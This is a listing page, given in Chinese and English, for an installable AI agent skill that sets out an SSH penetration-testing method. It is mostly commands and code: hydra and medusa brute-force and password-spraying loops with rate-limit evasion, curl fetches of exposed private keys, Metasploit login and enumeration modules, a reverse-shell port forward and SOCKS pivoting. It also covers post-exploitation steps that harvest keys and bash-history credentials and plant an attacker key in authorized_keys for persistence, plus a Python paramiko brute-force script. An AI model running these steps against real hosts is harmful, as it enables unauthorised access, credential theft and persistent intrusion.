SSH Penetration Testing by automindtechnologie-jpg/ultimate-skill.md
npx skills add https://github.com/automindtechnologie-jpg/ultimate-skill.md --skill 'SSH Penetration Testing'执行全面的 SSH 安全评估,包括枚举、凭据攻击、漏洞利用、隧道技术和后渗透活动。此技能涵盖了测试 SSH 服务安全的完整方法。
识别目标网络上的 SSH 服务:
# 快速 SSH 端口扫描
nmap -p 22 192.168.1.0/24 --open
# 常见备用 SSH 端口
nmap -p 22,2222,22222,2200 192.168.1.100
# SSH 全端口扫描
nmap -p- --open 192.168.1.100 | grep -i ssh
# 服务版本检测
nmap -sV -p 22 192.168.1.100
收集 SSH 服务的详细信息:
# 横幅抓取
nc 192.168.1.100 22
# 输出: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet 横幅抓取
telnet 192.168.1.100 22
# 使用脚本的 Nmap 版本检测
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# 枚举支持的算法
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# 获取主机密钥
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# 检查认证方法
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
识别弱配置:
# ssh-audit - 全面的 SSH 审计
ssh-audit 192.168.1.100
# 指定端口的 ssh-audit
ssh-audit -p 2222 192.168.1.100
# 输出包括:
# - 算法建议
# - 安全漏洞
# - 加固建议
需要识别的关键配置弱点:
# 单一用户名,密码列表
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# 用户名列表,单一密码
hydra -L users.txt -p Password123 ssh://192.168.1.100
# 用户名和密码列表
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# 指定端口
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# 速率限制规避 (慢速)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# 详细输出
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# 首次成功即退出
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
# 基本暴力破解
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# 多个目标
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# 使用用户名列表
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# 指定端口
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
# 测试多个用户的通用密码
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# 多个通用密码
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
测试弱密钥或暴露的密钥:
# 尝试使用找到的私钥登录
ssh -i id_rsa user@192.168.1.100
# 显式指定密钥 (绕过代理)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# 强制密码认证
ssh -o PreferredAuthentications=password user@192.168.1.100
# 尝试常见密钥名称
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
检查暴露的密钥:
# 私钥的常见位置
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# 可通过 Web 访问的密钥 (使用 curl/wget 检查)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
搜索已知漏洞:
# 搜索漏洞利用
searchsploit openssh
searchsploit openssh 7.2
# 常见的 SSH 漏洞
# CVE-2018-15473 - 用户名枚举
# CVE-2016-0777 - 漫游漏洞
# CVE-2016-0778 - 缓冲区溢出
# Metasploit 枚举
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# 用户名枚举 (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
将本地端口转发到远程服务:
# 语法: ssh -L <本地端口>:<远程主机>:<远程端口> 用户@ssh_服务器
# 通过 SSH 访问内部 Web 服务器
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# 现在访问 http://localhost:8080
# 访问内部数据库
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# 多个转发
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
将本地服务暴露给远程网络:
# 语法: ssh -R <远程端口>:<本地主机>:<本地端口> 用户@ssh_服务器
# 将本地 Web 服务器暴露给远程
ssh -R 8080:localhost:80 user@192.168.1.100
# 远程可以通过 localhost:8080 访问
# 反向 shell 回调
ssh -R 4444:localhost:4444 user@192.168.1.100
创建用于网络穿透的 SOCKS 代理:
# 在本地端口 1080 上创建 SOCKS 代理
ssh -D 1080 user@192.168.1.100
# 与 proxychains 一起使用
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# 浏览器配置
# 设置 SOCKS 代理为 localhost:1080
通过多个 SSH 服务器链式连接:
# 通过中间主机跳转
ssh -J user1@jump_host user2@target_host
# 多次跳转
ssh -J user1@jump1,user2@jump2 user3@target
# 使用 SSH 配置
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
获取 SSH 访问权限后的活动:
# 检查 sudo 权限
sudo -l
# 查找 SSH 密钥
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# 检查 SSH 目录
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
# 添加持久性 (添加你的密钥)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# 提取 SSH 配置
cat /etc/ssh/sshd_config
# 查找其他用户
cat /etc/passwd | grep -v nologin
ls /home/
# 历史记录中的凭据
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
基于 Python 的 SSH 自动化:
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""尝试使用凭据进行 SSH 连接"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] 成功: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] 失败: {username}:{password}")
return None
except Exception as e:
print(f"[!] 错误: {e}")
return None
def execute_command(client, command):
"""通过 SSH 执行命令"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""使用单词列表暴力破解 SSH"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# 运行后渗透命令
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
# 用法
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# 单一凭据测试
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
使用 Metasploit 进行全面的 SSH 测试:
# 启动 Metasploit
msfconsole
# SSH 版本扫描器
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
# SSH 登录暴力破解
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
# SSH 密钥登录
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
# 用户名枚举
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
# 使用 SSH 会话进行后渗透
sessions -i 1
| 命令 | 用途 |
|---|---|
nc <主机> 22 | 横幅抓取 |
ssh-audit <主机> | 配置审计 |
nmap --script ssh* | SSH NSE 脚本 |
searchsploit openssh | 查找漏洞利用 |
| 工具 | 命令 |
|---|---|
| Hydra | hydra -l 用户 -P 密码.txt ssh://主机 |
| Medusa | medusa -h 主机 -u 用户 -P 密码.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P 密码.txt 主机 |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
| 类型 | 命令 | 用例 |
|---|---|---|
| 本地 | -L 8080:目标:80 | 本地访问远程服务 |
| 远程 | -R 8080:localhost:80 | 远程暴露本地服务 |
| 动态 | -D 1080 | 用于穿透的 SOCKS 代理 |
| 端口 | 描述 |
|---|---|
| 22 | 默认 SSH |
| 2222 | 常见备用端口 |
| 22222 | 另一个备用端口 |
| 830 | 基于 SSH 的 NETCONF |
-t 1 -w 5| 问题 | 解决方案 |
|---|---|
| 连接被拒绝 | 验证 SSH 是否运行;检查防火墙;确认端口;从不同 IP 测试 |
| 认证失败 | 验证用户名;检查密码策略;密钥权限 (600);authorized_keys 格式 |
| 隧道不工作 | 检查 sshd_config 中的 GatewayPorts/AllowTcpForwarding;验证防火墙;使用 ssh -v |
每周安装数
0
仓库
首次出现
1970年1月1日
Conduct comprehensive SSH security assessments including enumeration, credential attacks, vulnerability exploitation, tunneling techniques, and post-exploitation activities. This skill covers the complete methodology for testing SSH service security.
Identify SSH services on target networks:
# Quick SSH port scan
nmap -p 22 192.168.1.0/24 --open
# Common alternate SSH ports
nmap -p 22,2222,22222,2200 192.168.1.100
# Full port scan for SSH
nmap -p- --open 192.168.1.100 | grep -i ssh
# Service version detection
nmap -sV -p 22 192.168.1.100
广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
Gather detailed information about SSH services:
# Banner grabbing
nc 192.168.1.100 22
# Output: SSH-2.0-OpenSSH_8.4p1 Debian-5
# Telnet banner grab
telnet 192.168.1.100 22
# Nmap version detection with scripts
nmap -sV -p 22 --script ssh-hostkey 192.168.1.100
# Enumerate supported algorithms
nmap -p 22 --script ssh2-enum-algos 192.168.1.100
# Get host keys
nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 192.168.1.100
# Check authentication methods
nmap -p 22 --script ssh-auth-methods --script-args="ssh.user=root" 192.168.1.100
Identify weak configurations:
# ssh-audit - comprehensive SSH audit
ssh-audit 192.168.1.100
# ssh-audit with specific port
ssh-audit -p 2222 192.168.1.100
# Output includes:
# - Algorithm recommendations
# - Security vulnerabilities
# - Hardening suggestions
Key configuration weaknesses to identify:
# Single username, password list
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Username list, single password
hydra -L users.txt -p Password123 ssh://192.168.1.100
# Username and password lists
hydra -L users.txt -P passwords.txt ssh://192.168.1.100
# With specific port
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
# Rate limiting evasion (slow)
hydra -l admin -P passwords.txt -t 1 -w 5 ssh://192.168.1.100
# Verbose output
hydra -l admin -P passwords.txt -vV ssh://192.168.1.100
# Exit on first success
hydra -l admin -P passwords.txt -f ssh://192.168.1.100
# Basic brute-force
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh
# Multiple targets
medusa -H targets.txt -u admin -P passwords.txt -M ssh
# With username list
medusa -h 192.168.1.100 -U users.txt -P passwords.txt -M ssh
# Specific port
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ssh -n 2222
# Test common password across users
hydra -L users.txt -p Summer2024! ssh://192.168.1.100
# Multiple common passwords
for pass in "Password123" "Welcome1" "Summer2024!"; do
hydra -L users.txt -p "$pass" ssh://192.168.1.100
done
Test for weak or exposed keys:
# Attempt login with found private key
ssh -i id_rsa user@192.168.1.100
# Specify key explicitly (bypass agent)
ssh -o IdentitiesOnly=yes -i id_rsa user@192.168.1.100
# Force password authentication
ssh -o PreferredAuthentications=password user@192.168.1.100
# Try common key names
for key in id_rsa id_dsa id_ecdsa id_ed25519; do
ssh -i "$key" user@192.168.1.100
done
Check for exposed keys:
# Common locations for private keys
~/.ssh/id_rsa
~/.ssh/id_dsa
~/.ssh/id_ecdsa
~/.ssh/id_ed25519
/etc/ssh/ssh_host_*_key
/root/.ssh/
/home/*/.ssh/
# Web-accessible keys (check with curl/wget)
curl -s http://target.com/.ssh/id_rsa
curl -s http://target.com/id_rsa
curl -s http://target.com/backup/ssh_keys.tar.gz
Search for known vulnerabilities:
# Search for exploits
searchsploit openssh
searchsploit openssh 7.2
# Common SSH vulnerabilities
# CVE-2018-15473 - Username enumeration
# CVE-2016-0777 - Roaming vulnerability
# CVE-2016-0778 - Buffer overflow
# Metasploit enumeration
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.100
run
# Username enumeration (CVE-2018-15473)
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE /usr/share/wordlists/users.txt
run
Forward local port to remote service:
# Syntax: ssh -L <local_port>:<remote_host>:<remote_port> user@ssh_server
# Access internal web server through SSH
ssh -L 8080:192.168.1.50:80 user@192.168.1.100
# Now access http://localhost:8080
# Access internal database
ssh -L 3306:192.168.1.50:3306 user@192.168.1.100
# Multiple forwards
ssh -L 8080:192.168.1.50:80 -L 3306:192.168.1.51:3306 user@192.168.1.100
Expose local service to remote network:
# Syntax: ssh -R <remote_port>:<local_host>:<local_port> user@ssh_server
# Expose local web server to remote
ssh -R 8080:localhost:80 user@192.168.1.100
# Remote can access via localhost:8080
# Reverse shell callback
ssh -R 4444:localhost:4444 user@192.168.1.100
Create SOCKS proxy for network pivoting:
# Create SOCKS proxy on local port 1080
ssh -D 1080 user@192.168.1.100
# Use with proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf
proxychains nmap -sT -Pn 192.168.1.0/24
# Browser configuration
# Set SOCKS proxy to localhost:1080
Chain through multiple SSH servers:
# Jump through intermediate host
ssh -J user1@jump_host user2@target_host
# Multiple jumps
ssh -J user1@jump1,user2@jump2 user3@target
# With SSH config
# ~/.ssh/config
Host target
HostName 192.168.2.50
User admin
ProxyJump user@192.168.1.100
Activities after gaining SSH access:
# Check sudo privileges
sudo -l
# Find SSH keys
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
# Check SSH directory
ls -la ~/.ssh/
cat ~/.ssh/known_hosts
cat ~/.ssh/authorized_keys
# Add persistence (add your key)
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys
# Extract SSH configuration
cat /etc/ssh/sshd_config
# Find other users
cat /etc/passwd | grep -v nologin
ls /home/
# History for credentials
cat ~/.bash_history | grep -i ssh
cat ~/.bash_history | grep -i pass
Python-based SSH automation:
#!/usr/bin/env python3
import paramiko
import sys
def ssh_connect(host, username, password):
"""Attempt SSH connection with credentials"""
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
client.connect(host, username=username, password=password, timeout=5)
print(f"[+] Success: {username}:{password}")
return client
except paramiko.AuthenticationException:
print(f"[-] Failed: {username}:{password}")
return None
except Exception as e:
print(f"[!] Error: {e}")
return None
def execute_command(client, command):
"""Execute command via SSH"""
stdin, stdout, stderr = client.exec_command(command)
output = stdout.read().decode()
errors = stderr.read().decode()
return output, errors
def ssh_brute_force(host, username, wordlist):
"""Brute-force SSH with wordlist"""
with open(wordlist, 'r') as f:
passwords = f.read().splitlines()
for password in passwords:
client = ssh_connect(host, username, password.strip())
if client:
# Run post-exploitation commands
output, _ = execute_command(client, 'id; uname -a')
print(output)
client.close()
return True
return False
# Usage
if __name__ == "__main__":
target = "192.168.1.100"
user = "admin"
# Single credential test
client = ssh_connect(target, user, "password123")
if client:
output, _ = execute_command(client, "ls -la")
print(output)
client.close()
Use Metasploit for comprehensive SSH testing:
# Start Metasploit
msfconsole
# SSH Version Scanner
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
# SSH Login Brute-Force
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.100
set USERNAME admin
set PASS_FILE /usr/share/wordlists/rockyou.txt
set VERBOSE true
run
# SSH Key Login
use auxiliary/scanner/ssh/ssh_login_pubkey
set RHOSTS 192.168.1.100
set USERNAME admin
set KEY_FILE /path/to/id_rsa
run
# Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
set RHOSTS 192.168.1.100
set USER_FILE users.txt
run
# Post-exploitation with SSH session
sessions -i 1
| Command | Purpose |
|---|---|
nc <host> 22 | Banner grabbing |
ssh-audit <host> | Configuration audit |
nmap --script ssh* | SSH NSE scripts |
searchsploit openssh | Find exploits |
| Tool | Command |
|---|---|
| Hydra | hydra -l user -P pass.txt ssh://host |
| Medusa | medusa -h host -u user -P pass.txt -M ssh |
| Ncrack | ncrack -p 22 --user admin -P pass.txt host |
| Metasploit | use auxiliary/scanner/ssh/ssh_login |
| Type | Command | Use Case |
|---|---|---|
| Local | -L 8080:target:80 | Access remote services locally |
| Remote | -R 8080:localhost:80 | Expose local services remotely |
| Dynamic | -D 1080 | SOCKS proxy for pivoting |
| Port | Description |
|---|---|
| 22 | Default SSH |
| 2222 | Common alternate |
| 22222 | Another alternate |
| 830 | NETCONF over SSH |
-t 1 -w 5| Issue | Solutions |
|---|---|
| Connection Refused | Verify SSH running; check firewall; confirm port; test from different IP |
| Authentication Failures | Verify username; check password policy; key permissions (600); authorized_keys format |
| Tunnel Not Working | Check GatewayPorts/AllowTcpForwarding in sshd_config; verify firewall; use ssh -v |
Weekly Installs
0
Repository
First Seen
Jan 1, 1970
通过 LiteLLM 代理让 Claude Code 对接 GitHub Copilot 运行 | 高级变通方案指南
22,200 周安装